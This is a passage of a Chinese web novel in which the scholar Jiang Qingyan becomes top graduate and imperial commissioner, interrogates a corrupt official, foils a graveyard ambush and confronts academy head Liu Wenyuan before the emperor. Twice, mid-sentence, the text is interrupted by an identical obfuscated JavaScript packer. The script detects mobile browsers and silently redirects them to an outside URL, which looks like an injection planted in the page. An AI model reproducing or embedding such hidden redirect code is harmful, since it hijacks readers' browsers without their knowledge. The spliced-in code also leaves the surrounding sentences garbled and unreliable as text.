“都抓了。”谢云辞声音冰冷,“周才子夹带舞弊,证据确凿。陈文正收受贿赂,为他疏通关系。李尚书亲自带人搜查了陈文正的府邸,搜出账簿,上面详细记录了他与水鬼帮的交易。” “账簿?”江清砚睁开眼,“不是被销毁了吗?” “是副本。”谢云辞道,“陈文正留了一手,把每次交易都偷偷记了下来,藏在书房暗格里。大概是想作为自保的筹码,没想到……” 没想到成了催命符。 “那账簿上,有没有提到柳文渊?赵文远?” 谢云辞摇头:“只提到了观澜书院,但没有具体人名。陈文正嘴很硬,只说一切都是他个人所为,与旁人无关。” 个人所为? 江清砚冷笑。一个礼部郎中,哪有那么大胆子,敢在会试上动手脚?背后必定有人指使。 “现在怎么办?”他问。 “李尚书已经进宫面圣。”谢云辞道,“此事牵扯科举,圣上震怒,下令彻查。所有与陈文正有过往来的官员、考生,都要接受调查。” 他顿了顿,看向江清砚:“你……恐怕也要被问话。” 江清砚点头。他早有预料。作为揭开水鬼帮盖子的人,又是在考场内目击了抓捕的人,被问话是必然的。 “我不怕。”他轻声道,“该说的,我都会说。” 马车驶过街道,窗外是京城繁华的街景。阳光很好,秋高气爽,但江清砚心中却沉甸甸的。 科举结束了。 但真正的风雨,才刚刚开始。 回到悦来客栈,掌柜的早已备好了热水热饭。江清砚简单洗漱,吃了点东西,就躺下了——他实在太累了。 谢云辞守在床边,看着他苍白的睡颜,手无意识地按在自己胸口。 那里,两颗心脏的跳动渐渐同步,平稳而有力。 同生共死。 这四个字,在这一刻有了更重的分量。 窗外,秋风萧瑟。 而京城的暗流,终于要浮出水面了。 20. 第 20 章 第二十章榜下捉婿 放榜那日,京城万人空巷。 贡院外的照壁前人山人海,挤得水泄不通。举子们、家仆们、看热闹的百姓们,全都伸长脖子,盯着那面即将贴出榜单的高墙。空气中弥漫着焦灼、期待、还有若有若无的恐慌——陈文正舞弊案已经传得沸沸扬扬,谁都想知道,今科会试的结果,到底还有几分可信。 江清砚没有去挤。他站在街对面的茶楼二楼雅间里,凭窗眺望。谢云辞站在他身后,手按腰间,目光锐利地扫视着楼下人群。 “你不去看榜?”谢云辞问。 “等会儿人散了再看。”江清砚轻声道,手中捧着热茶,脸色比前几日好了些,但依旧苍白,“现在去挤,徒增危险。” 他说得平静,谢云辞却从他眼中看出一丝隐藏的紧张——毕竟,这是三年寒窗的结果,没有人能真正淡然处之。 楼下忽然传来震天的锣鼓声! “放榜了!放榜了!”有人高喊。 人群瞬间沸腾,像炸开的油锅。所有人都往前挤,哭喊声、欢呼声、推搡声混成一片。差役们拼命维持秩序,却如螳臂当车,很快被人潮淹没。 江清砚的视线紧紧盯着照壁。几个书吏正将巨大的黄榜张贴上去,墨迹淋漓,在阳光下泛着刺目的金光。 榜单从最后一名开始张贴,每贴一张,下面就爆发出一阵喧哗。有人喜极而泣,有人捶胸顿足,有人当场晕厥——这就是科举,千军万马过独木桥,几家欢喜几家愁。 谢云辞忽然皱眉:“不对劲。” “什么?” “你看那些差役。”谢云辞指着楼下维持秩序的官差,“他们的站位……太刻意了。像是在等什么。” 江清砚仔细看去。果然,那些差役看似散乱,实则隐隐围成了一个圈,圈的中心,正是照壁前最拥挤的区域。而且他们手握刀柄,眼神警惕,不像是维持秩序,倒像是在……防备什么。 或者,等待什么。 正想着,黄榜已经贴到了前十名。 第九名、第八名……每念一个名字,人群就安静一瞬,随即爆发出更大的喧哗。这些名字,有的声名显赫,有的籍籍无名,但能进前十,都已是一脚踏进了官场。 终于,第三名:“苏州府李慕言!” 楼下传来一声尖叫,是李慕言的声音。江清砚看到他被人群簇拥着,激动得满脸通红,几乎站不稳。那个活泼的王璞在他身边又跳又叫,比自己中了还高兴。 江清砚微微一笑。李慕言能中,他真心替他高兴。 第二名:“金陵府王璞!” 又是一阵喧哗。王璞愣在原地,随即“哇”的一声哭了出来,抱住李慕言嚎啕大哭。两个少年相拥而泣,周围人纷纷道贺。 只剩榜首了。 所有人都屏住呼吸,盯着照壁上最后那张黄纸。 书吏展开榜单,高声念出那个名字—— “润州府江清砚!” 刹那间,万籁俱寂。 所有人都愣住了。连差役都忘了维持秩序,呆呆地看着那张榜单。 江清砚自己也怔住了。他虽然自信考得不错,但会元……这超出了他的预料。 楼下,不知是谁先反应过来,爆发出震天的喧哗! “江清砚?是那个揭了水鬼帮案子的江清砚?!” “天啊!会元!他才多大?!” “听说他身体不好,居然能撑过三场考试,还拿了会元……” 议论声、惊叹声、道贺声混在一起,像潮水般涌向茶楼。无数道目光投向二楼雅间,试图寻找那位新鲜出炉的会元。 江清砚站在窗边,迎着那些目光,面色平静。只有谢云辞能看到,他握着茶杯的手指,在微微颤抖。 不是激动,是……警觉。 太顺利了。 顺利得不正常。 一个牵扯进水鬼帮大案、又在考场目击舞弊抓捕的举子,居然能拿会元?阅卷的考官们,难道没有顾忌? 除非……有人想让他中。 为什么? 江清砚脑中飞快思索。是因为他揭了水鬼帮的案子,有人想借此拉拢?还是因为他在考场上看到了什么,有人想用功名堵他的嘴? 亦或是……更深的算计? 楼下忽然传来整齐的脚步声。 一队官差分开人群,快步走向茶楼。为首的正是那日在贡院押走陈文正的兵士头领,他面色冷峻,手握刀柄,目光如鹰隼般扫视四周。 人群自动分开一条路,议论声渐渐低下去。所有人都意识到——要出事了。 那队官差停在茶楼门口,头领抬头,看向二楼雅间的窗户,朗声道: “江清砚江公子可在?刑部有请。” 刑部。 不是报喜的衙役,不是道贺的同窗,是刑部。 江清砚与谢云辞对视一眼,都看到了对方眼中的凝重。 来了。 该来的,终究还是来了。 “我下去。”江清砚放下茶杯,整理了一下衣襟。 “我陪你。”谢云辞道。 两人一前一后下楼。茶楼大堂里鸦雀无声,所有人都看着他们,目光复杂——有羡慕,有同情,更多的是好奇。 走出茶楼,阳光刺目。江清砚微微眯眼,适应了一下光线,才看向那位兵士头领。 “学生江清砚,不知刑部传唤,所为何事?” 头领抱了抱拳,语气还算客气:“江公子,有桩案子需要你协助调查。请随我们走一趟。” “什么案子?” “到了刑部,自然知晓。” 江清砚点头,正要迈步,谢云辞却上前一步,亮出六扇门令牌:“我与他同去。” 头领看了令牌一眼,神色微变,但还是摇头:“谢总捕见谅,尚书大人有令,只请江公子一人。” “他身体不好,需要人照料。”谢云辞寸步不让。 “刑部自会安排大夫。” 两人僵持不下。 就在这时,远处又传来马蹄声。又一队人马疾驰而来,这次是穿着飞鱼服的锦衣卫! 锦衣卫在茶楼前勒马,为首的是个面白无须的中年太监,他扫视一圈,目光落在江清砚身上,尖声道: “哪位是江清砚?” 江清砚上前一步:“学生便是。” 太监点点头,展开一卷黄绫:“圣上口谕,宣会元江清砚即刻进宫面圣。钦此。” 圣上口谕! 所有人都跪下了,包括那些刑部的官差。江清砚也跪地接旨,心中却掀起了惊涛骇浪——皇帝要见他?为什么? 太监宣完口谕,对刑部那头领道:“刘统领,江公子咱家带走了。刑部若有事,等江公子从宫里出来再说。” 刘统领脸色难看,却不敢违抗圣旨,只能躬身道:“是。” 太监看向江清砚,脸上堆起笑容:“江会元,请吧。马车已经备好了。” 江清砚起身,看向谢云辞。后者眼中满是担忧,却只能对他微微点头——圣旨面前,谁也不能违抗。 “谢兄,”江清砚低声道,“若我日落前未归,去找李尚书。” 谢云辞重重点头。 江清砚这才转身,跟着太监上了那辆华贵的马车。马车驶动,在众人复杂的目光中,朝着皇城方向而去。 谢云辞站在原地,看着马车消失在街角,手紧紧握成了拳。 胸中那颗共同的心脏,跳得又快又乱。 他能感觉到江清砚的紧张,也能感觉到……一丝决绝。 皇宫,养心殿。 江清砚跪在冰冷的金砖地上,额头触地。殿内燃着龙涎香,香气浓郁得让人头晕。他能听到自己的心跳声,沉重而急促。 “抬起头来。” 一个温和却威严的声音响起。 江清砚缓缓抬头。御案后坐着一位中年男子,穿着明黄常服,面容清癯,眼神深邃如潭——正是当今圣上,永昌帝。 永昌帝打量着他,许久,才道:“你就是江清砚?揭开水鬼帮案子的那个书生?” “回陛下,正是学生。” “朕看了你的考卷。”永昌帝拿起御案上的一沓纸,正是江清砚的会试答卷,“经义扎实,策论犀利,尤其是这篇论漕运之弊……” 他顿了顿,声音微沉:“你在文中提到,漕运之弊,根在吏治,非止于江湖。此言何解?” 江清砚心跳更快。他知道,真正的考验来了。 “回陛下,学生以为,水鬼帮之所以能猖獗多年,掳掠考生、贩卖人口、甚至染指科举,非一日之寒。其背后,必有官员庇护,有衙门失职。若只剿灭江湖匪类,不肃清吏治,则弊病难除,死灰复燃。” 他说得不疾不徐,字字清晰。 永昌帝盯着他:“依 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863496|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你之见,哪些衙门失职?哪些官员庇护?” 江清砚深吸一口气,缓缓道:“都水司主管漕运,却对水鬼帮视而不见,是为失职。礼部掌管科举,却有郎中收受贿赂、为匪类疏通,是为庇护。至于更深层……” 他顿了顿,抬眼看向永昌帝:“学生不敢妄言。” “说。”永昌帝声音平静,却带着不容置疑的威严。 江清砚叩首:“更深层,恐怕牵扯到朝堂党争,甚至……皇子之争。” 殿内死一般寂静。 侍立的太监宫女个个面如土色,连呼吸都放轻了。 许久,永昌帝忽然笑了。 “好,好一个江清砚。”他放下考卷,站起身,走到江清砚面前,“你可知,你这些话,够杀头十次了?” “学生知道。”江清砚声音平稳,“但学生更知道,食君之禄,忠君之事。既读圣贤书,当为天下言。” 永昌帝看着他,眼神复杂。许久,他挥挥手:“你们都退下。” 太监宫女们如蒙大赦,悄无声息地退出大殿,关上殿门。 殿内只剩下君臣二人。 永昌帝在殿中踱步,缓缓道:“水鬼帮的案子,李崇明已经报上来了。陈文正招供了部分,但咬死是个人所为。至于观澜书院、都水司、甚至……皇子,都没有确凿证据。” 他停下脚步,看向江清砚:“你可有证据?” 江清砚沉默片刻,从怀中取出那枚从药庐得来的瓷片,还有谢云辞从福寿茶馆带回的带血铜钱,双手呈上。 “瓷片上的莲花印记,是都水司某位官员的私徽。铜钱是水鬼帮联络信物,在福寿茶馆掌柜尸体手中发现,掌柜死前紧紧攥着它。” 永昌帝接过,仔细查看,脸色越来越沉。 “至于观澜书院……”江清砚继续道,“学生虽无实证,但有多人目击,书院山长柳文渊与赵炎、陈文正等人往来密切。且被盗文集的‘作者’,多被藏匿在书院庇护之下。” 他顿了顿,补充道:“还有一事……学生怀疑,水鬼帮掳掠举子,不只是为了贩卖,更是为了……培植党羽,渗透科举,甚至……影响未来朝局。” 这话说得隐晦,但永昌帝何等聪明,立刻明白了。 培植党羽,渗透科举,影响朝局——这是要动摇国本! “好大的胆子!”永昌帝怒极反笑,“区区江湖匪类,也敢染指朝堂?!” “陛下,”江清砚叩首,“正因其背后有人,才敢如此猖獗。” 永昌帝沉默了。 他走回御案后,坐下,手指轻轻敲击桌面。良久,才道:“江清砚,朕给你一个机会。” 江清砚抬头。 “朕命你为钦差,会同刑部、大理寺、都察院,彻查此案。”永昌帝一字一句道,“无论牵扯到谁,一查到底。你可敢?” 钦差。 江清砚愣住了。他一个刚中会元的举子,何德何能,担此重任? 但看着永昌帝眼中的信任和期待,他忽然明白了——皇帝不是无人可用,而是……无人可信。 此案牵扯太广,朝中官员盘根错节,谁也不知道谁是清谁是浊。而他江清砚,一个毫无背景、刚入京城的书生,反而是最干净的人选。 “学生……”他深吸一口气,“敢。” “好!”永昌帝拍案而起,“朕赐你尚方宝剑,准你先斩后奏。但你要记住——此案凶险,务必小心。若遇危险,可随时进宫见朕。” “谢陛下隆恩。” 江清砚叩首,心中却沉甸甸的。 尚方宝剑,先斩后奏——这是多大的权力,也是多大的责任。 他知道,从这一刻起,他正式踏进了这场风暴的中心。 前路,恐怕比想象中更凶险。 但既然选择了,便只能往前走。 走出养心殿时,已是黄昏。 夕阳如血,将宫墙染成一片金红。江清砚站在高高的台阶上,看着这座雄伟的皇城,胸中那颗共同的心脏,跳得平稳而坚定。 他能感觉到,谢云辞就在宫门外等他。 同生共死。 这一次,他们要面对的,是整个朝堂的暗流。 但至少,他们不是独行。 江清砚迈步走下台阶,夕阳将他的影子拉得很长,很长。 前方,宫门缓缓打开。 新的征途,开始了。 21. 第 21 章 第二十一章铁证如山 马车驶出宫门时,天色已近黄昏。夕阳将宫墙的影子拖得老长,像一道道深色的疤痕刻在青石路面上。街上的行人少了,摊贩们开始收摊,偶尔有巡逻的兵士列队走过,甲胄碰撞声在空旷的街道上回响。 江清砚靠在车厢壁上,闭着眼,手中握着那柄尚方宝剑——剑身细长,剑鞘乌沉,刻着繁复的云龙纹。剑不重,却沉甸甸的,压得他心头喘不过气。 钦差。 这两个字意味着什么,他太清楚了。这是皇权特许的生杀大权,也是悬在头顶的利剑。用得好,能肃清奸邪;用不好,就是身败名裂,死无葬身之地。 马车忽然停了。 “江大人,刑部到了。”车夫在外低声道。 江清砚睁开眼,掀开车帘。刑部衙门的黑漆大门敞开着,门前立着两尊石狮,在暮色中显得格外狰狞。李崇明已经等在阶前,一身尚书官服,神色凝重。 “江钦差。”他拱手,语气正式。 “李大人不必多礼。”江清砚下车还礼,“学生……下官惶恐。” 李崇明看着他苍白的脸,眼中闪过一丝复杂,随即侧身引路:“请进,三司长官已在正堂等候。” 正堂灯火通明。除了李崇明,还有两人——大理寺卿张正言,都察院左都御史周明远。三人都是朝中重臣,此刻却因为一桩案子,要与一个刚中会元的少年共事。 张正言年约五旬,面容清瘦,目光锐利如鹰。周明远稍年轻些,国字脸,浓眉大眼,看起来颇为耿直。两人见江清砚进来,目光都落在他身上,尤其是他手中的尚方宝剑。 “下官江清砚,见过二位大人。”江清砚行礼。 “江钦差免礼。”张正言开口,声音低沉,“圣旨已到,三司会审水鬼帮一案,由你主理。但此案牵连甚广,还望钦差行事谨慎,勿要……操之过急。” 话中有话。 江清砚听出来了。张正言在提醒他,也在警告他——此案水深,别急着往前冲。 “下官明白。”他平静道,“敢问三位大人,案情进展如何?” 李崇明从案头取过一沓卷宗,推到他面前:“陈文正招供了部分,承认收受贿赂,为水鬼帮掳来的举子疏通科举关节。但咬死是个人所为,与旁人无关。至于观澜书院、都水司,一概否认。” 江清砚翻看卷宗。陈文正的供词滴水不漏,把所有罪责都揽在自己身上,像是……早就准备好了。 “可曾用刑?”他问。 “用了。”周明远接话,声音粗犷,“但那老骨头硬得很,打死不说。再打,怕是要死在刑部大牢里。” “那就别打了。”江清砚合上卷宗,“打出来的口供,也未必是真。” 三人对视一眼,都有些意外。 “江钦差的意思是……” “下官想见见陈文正。”江清砚抬起头,“单独见。” 刑部大牢在地下,阴冷潮湿,空气中弥漫着霉味和隐约的血腥气。江清砚跟在狱卒身后,走过长长的甬道。两侧牢房里关着形形色色的犯人,有的目光呆滞,有的嘶声喊冤,还有的蜷缩在角落,一动不动,像具尸体。 最深处的一间单独牢房,铁门厚重,门上只开了一个小窗。狱卒打开门锁,躬身道:“江钦差请。” 江清砚走进去。牢房里只有一张草铺,一张木桌,桌上放着一盏油灯。陈文正坐在草铺上,背靠着墙,闭着眼。他穿着囚服,头发散乱,脸上有鞭痕,但坐姿依旧挺直,依稀还能看出礼部郎中的风骨。 听到开门声,陈文正睁开眼。看到江清砚时,他眼中闪过一丝讶异,随即化作苦笑。 “江会元……不,该叫江钦差了。”他声音嘶哑,“恭喜。” 江清砚在木桌旁的凳子上坐下,将尚方宝剑放在桌上。剑身与桌面磕碰,发出沉闷的一声响。 陈文正的目光落在剑上,瞳孔微缩。 “陈大人认得这柄剑?”江清砚问。 “尚方宝剑,先斩后奏。”陈文正缓缓道,“圣上将此剑赐你,是要……大开杀戒了?” “下官不想杀人。”江清砚平静道,“只想查明真相。” “真相?”陈文正笑了,笑声里满是嘲讽,“真相就是,我陈文正贪财枉法,勾结匪类,扰乱科举。这就是全部的真相。” “是吗?”江清砚从袖中取出那枚带血的铜钱,放在桌上,“那这枚铜钱,为何会在福寿茶馆掌柜尸体手中?掌柜临死前紧紧攥着它,指甲都抠进了肉里——他是在向谁求救?又是在指证谁?” 陈文正的笑容僵住了。 “还有,”江清砚又取出那枚瓷片,“这瓷片上的莲花印记,是都水司某位官员的私徽。三年前,那位官员‘暴毙’家中,死因与都水司近日死的那几位一模一样——中毒诱发心疾。陈大人可知道,他们中的是什么毒?” 陈文正嘴唇动了动,没说话。 “是‘牵机引’。”江清砚替他答了,“一种罕见的毒药,无色无味,中毒者初期症状类似心疾,三日内必死。此毒产自南疆,京城里能用得起、拿得到的人,屈指可数。” 他顿了顿,看着陈文正的眼睛:“陈大人,你也是读书人,该知道什么叫‘兔死狗烹’。你现在把所有罪责揽下,保住了背后的人,可等你死了,那些人……会记得你的好吗?” 陈文正闭上了眼。 牢房里一片死寂,只有油灯燃烧的噼啪声。 许久,陈文正才重新睁开眼,声音低得像叹息:“江钦差,你太年轻了。有些事……知道得越少,活得越久。” “下官这条命,本就是捡来的。”江清砚轻声道,“多活一天,少活一天,没什么区别。但有些事,总得有人去做。” 他站起身,走到牢门前,背对着陈文正:“陈大人,下官给你一夜时间考虑。明日此时,若你还是什么都不说,那这枚带血的铜钱,这枚莲花瓷片,还有‘牵机引’的线索……下官会一并呈报圣上。到时候,查到哪里,牵连到谁,就不是下官能控制的了。” 说完,他推门而出。 铁门在身后关上,发出沉重的撞击声。 牢房里,陈文正盯着桌上那枚带血的铜钱,许久,颤抖着伸出手,将它握在掌心。铜钱冰凉,血渍已经干涸,却仿佛还带着掌柜临死前的绝望。 他闭上眼,一滴浑浊的泪从眼角滑落。 江清砚走出大牢时,天已经彻底黑了。刑部衙门的院子里点起了灯笼,昏黄的光在夜风中摇曳。 谢云辞等在院中,见他出来,立刻迎上:“怎么样?” “他动摇,但还不敢说。”江清砚揉了揉眉心,疲惫感如潮水般涌来,“背后的人……恐怕比他想象的更可怕。” “先回去休息。”谢云辞扶住他,“你脸色很差。” 两人正要离开,一个衙役匆匆跑来:“江钦差,李尚书有请,说有急事。” 李崇明在书房等着。见他们进来,立刻屏退左右,关上门,神色异常凝重。 “出什么事了?”江清砚问。 李崇明从怀中取出一封信,递给他:“半个时辰前,有人用箭射进刑部衙门的。信是给你的。” 信是素白信笺,上面只有一行字: “子时,城南乱葬岗,一个人来。若带人,周文远必死。” 周文远。 江清砚瞳孔骤缩——那是水鬼帮账本上提到的、被掳的举子之一,《周礼新解》的“作者”。陈文正要保进甲榜的那个人。 他还活着? “这是陷阱。”谢云辞立刻道,“你不能去。” “可周文远……” “就算是真的,也是诱饵。”谢云辞握紧拳头,“他们想引你出去,在荒郊野外下手。” 江清砚沉默了。他当然知道这是陷阱。但周文远……那是活生生的人,是被水鬼帮残害的无辜者。若因为他不去,周文远被杀…… “我去。”他抬起头,眼神坚定,“但不会一个人去。” “你……” “谢兄,你暗中跟着。”江清砚看向谢云辞,“他们要我一个人,我就一个人去。但你在暗处接应。若真有危险,再出手。” 李崇明皱眉:“太危险了。乱葬岗那种地方,夜黑风高,对方若设下埋伏……” “正因为危险,才更要去。”江清砚轻声道,“他们敢约在乱葬岗,说明……已经狗急跳墙了。这是机会,抓住他们尾巴的机会。” 谢云辞盯着他看了半晌,最终咬牙点头:“好。但你要答应我,若有危险,立刻发信号,不要逞强。” “我答应。” 子时将至。 城南乱葬岗,名副其实。这里是京城弃尸的地方,常年阴气森森,连野狗都不敢靠近。今夜月黑风高,只有零星几点磷火在荒坟间飘荡,像鬼魅的眼睛。 江清砚提着灯笼,独自走在坟堆间。灯笼的光只能照亮脚下几步,四周是无边的黑暗,还有隐约的、不知是风声还是呜咽的声音。 他走得很慢,每一步都小心翼翼。胸中那颗共同的心脏跳得很快——那是谢云辞的紧张,通过联结传递过来。 忽然,前方出现一点火光。 不是磷火,是真正的火光——有人提着灯笼,站在一座高大的荒坟前。 江清砚停下脚步。 提灯笼的是个黑衣人,蒙着面,只露出一双眼睛。他身后,荒坟的墓碑上,绑着一个人——衣衫褴褛,披头散发,正是周文远。周文远嘴里塞着破布,看到江清砚,眼中爆发出希望的光芒,拼命挣扎。 “江钦差,果然守信。”黑衣人开口,声音嘶哑,显然刻意伪装过。 “放了周文远。”江清砚平静道。 “不急。”黑衣人轻笑,“先说说条件——你手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863497|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的证据,包括那枚铜钱、那枚瓷片,还有你从陈文正那里得到的所有口供,全都交出来。然后辞去钦差之职,离开京城。如此,周文远活,你也活。” “若我不答应呢?” “那今晚,乱葬岗就再多两具尸体。”黑衣人语气转冷,“江钦差,你是个聪明人,该知道怎么选。” 江清砚沉默了。他借着灯笼的光,仔细观察黑衣人——身形中等,握灯笼的手很稳,虎口有茧,是练武之人。但更让他在意的,是黑衣人腰间挂着一块玉佩。 玉佩在火光下泛着温润的光,样式……很眼熟。 对了,春风阁。那夜赵炎与“柳先生”密谈,王璞曾偷听到,赵炎喊了一声“柳先生”。而柳文渊,观澜书院的山长,据说最喜收藏古玉。 眼前这块玉佩,与柳文渊常佩戴的那块,有七八分相似。 “你是柳文渊的人?”江清砚忽然问。 黑衣人身体一僵。 虽然只是一瞬,但江清砚捕捉到了。 “柳山长好手段。”他继续道,“一边在朝堂上装病避嫌,一边派人来灭口威胁。可惜……你犯了个错误。” “什么错误?” “你不该带周文远来。”江清砚缓缓道,“周文远是陈文正要保的人,是水鬼帮‘培养’的傀儡。你带他来,等于承认了观澜书院与水鬼帮的关联。更致命的是……” 他顿了顿,从袖中取出一个小瓷瓶:“周文远身上,被下了‘牵机引’。我闻得到——那股淡淡的苦杏仁味,和都水司死的那几位身上的一模一样。你们是想等交易完成,就让周文远‘突发心疾’而死,把一切推给水鬼帮灭口,对吧?” 黑衣人终于慌了。 他猛地后退一步,手中已多了一把匕首:“你……你怎么知道?” “因为‘牵机引’的配方,我见过。”江清砚平静道,“家母留下的医书里,记载过这种毒。解药,我也会配。” 他举起瓷瓶:“这里面,就是解药。放了周文远,我把解药给你。否则,他死了,你们的一切谋划,就都白费了。” 黑衣人手在颤抖。他看看江清砚,又看看身后奄奄一息的周文远,眼中闪过挣扎。 就在这时,远处忽然传来一声尖锐的哨响! 那是谢云辞的信号——有埋伏! 几乎同时,四周坟堆后窜出十几道黑影,手持利刃,直扑江清砚! “动手!”黑衣人厉喝,匕首刺向周文远咽喉——他要灭口! 江清砚早有准备,手中灯笼猛地掷向黑衣人,同时身形疾退!灯笼砸在黑衣人脸上,油火四溅,黑衣人惨叫一声,动作一滞。 就是这一滞的瞬间,一道黑影如鬼魅般从侧面扑来,匕首寒光一闪,直取黑衣人手腕! 是谢云辞! “当啷”一声,黑衣人的匕首脱手。谢云辞一脚将他踹飞,反手割断绑着周文远的绳索,将人护在身后。 与此同时,那十几道黑影已经围了上来。刀光剑影,杀声四起! 江清砚退到一座荒坟后,从怀中取出竹筒,按下机关——尖锐的哨声响彻夜空,这是给刑部埋伏人马的信号! 几乎瞬间,四周亮起火把!数十名刑部衙役、兵士从暗处冲出,将乱葬岗团团围住! “放下兵器!否则格杀勿论!”李崇明的声音响起。 黑衣人见大势已去,纷纷丢下兵器投降。只有为首的那个——被谢云辞踹飞的黑衣人——挣扎着爬起来,从怀中掏出一个竹筒,就要往嘴里塞! 谢云辞眼疾手快,一枚铜钱脱手而出,精准地打在他手腕上。竹筒落地,滚出几粒黑色药丸——是毒药,他想要服毒自尽。 衙役们一拥而上,将黑衣人按倒在地,扯下面巾。 面巾下,是一张陌生的脸。但江清砚注意到,他耳后有一个小小的刺青——船锚缠绕水蛇。 水鬼帮的人。 但腰间却挂着柳文渊的玉佩。 “带回去!”李崇明厉声道,“连夜审讯!” 衙役们将俘虏押走。谢云辞扶起奄奄一息的周文远,江清砚立刻上前,从瓷瓶中倒出一粒药丸,喂他服下。 周文远服下药,呼吸渐渐平稳,眼中有了焦距。他看着江清砚,嘴唇哆嗦着,许久,才挤出一句话: “账本……在柳文渊书房……暗格……” 说完,头一歪,晕了过去。 江清砚与谢云辞对视一眼,都看到了对方眼中的凝重。 账本在柳文渊书房。 这个证据,够不够铁? 恐怕,还不够。 但至少,他们抓到了人,救下了周文远,还拿到了新的线索。 乱葬岗的火把渐渐散去,只留下满地狼藉。 夜风吹过荒坟,呜咽声更急,像是在为今夜这场生死博弈作注。 而真正的较量,才刚刚开始。 22. 第 22 章 第二十二章冤狱与共 刑部大牢的审讯持续了一整夜。 被抓的黑衣人叫王莽,确是水鬼帮的小头目,负责京城一带的“货物”转运。但他咬死一切都是个人所为,与旁人无关。至于腰间那块柳文渊的玉佩,他说是捡的。 捡的。 这种说辞连三岁孩童都骗不了,但王莽就是咬死不改口。刑具用了三套,他昏死过去三次,醒来依旧不改口供。 天快亮时,李崇明走出刑讯室,脸色铁青。 “嘴硬得很。”他对等在门外的江清砚和谢云辞道,“但也不是全无收获——他交代了几个水鬼帮在京城的小据点,还有……一条线索。” “什么线索?” “他说,周文远身上除了‘牵机引’,还被下了另一种毒。”李崇明压低声音,“那种毒不会立刻致命,但会让人神智逐渐混乱,最后……变成傻子。下毒的时间,就在他被掳后不久。” 江清砚心头一凛。 所以周文远在账本上被标注为“可造之材”,却又被下毒毁掉神智?这太矛盾了。 除非……下毒的不是水鬼帮,而是另有其人。下毒的目的,就是防止周文远清醒后,说出不该说的话。 “周文远现在如何?”他问。 “薛大夫在照料,暂时无碍。”李崇明道,“但毒已入脑,能否完全清除,难说。” 正说着,一个衙役匆匆跑来:“尚书大人!宫里来人了,宣您和江钦差即刻进宫!” 李崇明与江清砚对视一眼,都看到了对方眼中的凝重——这个时辰宣召,定是出了大事。 两人匆匆更衣,赶往皇宫。 养心殿内,气氛压抑。 永昌帝坐在御案后,面色阴沉。下方跪着两个人——一个是都察院左都御史周明远,另一个竟然是观澜书院山长,柳文渊。 柳文渊穿着素色长衫,头发梳得一丝不苟,面色从容,仿佛不是来受审,而是来赴宴。见到江清砚进来,他甚至微微颔首,露出一个温和的笑容。 “江钦差来了。”永昌帝开口,声音冰冷,“柳山长,把你刚才说的话,再说一遍。” 柳文渊叩首,声音平稳:“陛下,臣冤枉。臣与陈文正确有往来,但只是寻常诗文唱和,绝无勾结匪类之事。至于那块玉佩……臣数月前就已遗失,不知为何会落到匪徒手中。此必是有人栽赃陷害,欲借水鬼帮一案,打击朝中清流。” 他说得恳切,若非江清砚手握诸多线索,几乎要信了。 “栽赃陷害?”永昌帝冷笑,“那周文远呢?他亲口指证,账本在你书房暗格中。这又作何解释?” “周文远?”柳文渊抬头,眼中恰到好处地露出惊讶,“臣确实认识此人。他曾在观澜书院求学,但三年前因学业不精,已被书院除名。后来听说他误入歧途,与江湖匪类厮混,臣还曾痛心疾首。没想到他如今竟反咬一口,诬陷恩师……实在令人心寒。” 他顿了顿,看向江清砚:“江钦差年轻有为,破获大案,臣本应祝贺。但查案讲求证据,若仅凭一个疯癫之人的胡言乱语,就要定当朝太傅的罪……恐怕难以服众。” 字字诛心。 他在暗示,周文远已经神智不清,证词不可信。也在暗示,江清砚年轻气盛,急于立功,可能被人利用。 江清砚静静听着,等柳文渊说完,才上前一步,躬身道:“陛下,臣有一事不明,想请教柳山长。” “讲。” “柳山长说,周文远三年前因学业不精被书院除名。但据臣所知,周文远十五岁中秀才,十八岁中举人,乃是江南有名的才子。这样的学子,为何会‘学业不精’?” 柳文渊神色不变:“江钦差有所不知,科举考的是经义文章,书院教的却是做人的道理。周文远虽有才,但心术不正,好高骛远,常与一些来历不明的人来往。书院多次规劝无效,这才忍痛除名。” “哦?”江清砚从袖中取出一张纸,“那请柳山长解释一下,这封三年前的书信,是怎么回事?” 他将纸展开。那是一封泛黄的信笺,字迹清秀,落款是“学生周文远谨呈柳山长”。信中写道,周文远家中突遭变故,急需银两,恳请山长相助。并承诺,若山长施以援手,他日必当厚报。 “这封信,是从周文远被掳时随身携带的行李中找到的。”江清砚缓缓道,“信中提到‘家中变故’,但臣查过,周家三年前一切如常,并无变故。那么周文远为什么要写这封信?他又在向柳山长‘承诺’什么?” 柳文渊的脸色终于变了。 虽然只是一瞬,但没能逃过永昌帝的眼睛。 “柳文渊!”永昌帝厉声,“你还有何话说?” 柳文渊伏地叩首,声音发颤:“陛下明鉴!臣……臣确实借过银两给周文远,但那只是师长对学生的照拂,绝无他意!至于他后来为何会被水鬼帮掳走,臣实在不知啊!” “不知?”永昌帝怒极反笑,“好一个不知!那朕问你,陈文正招供,说他收受贿赂,为你观澜书院的学子疏通科举关节。这你又如何解释?” “臣冤枉!”柳文渊抬起头,眼中含泪,“陈文正那是血口喷人!他定是恨臣曾弹劾他收受考生贿赂,这才反咬一口!陛下,臣为官四十载,清白一世,怎能受此污蔑!” 他哭得情真意切,若非江清砚早有准备,几乎要被他骗过去。 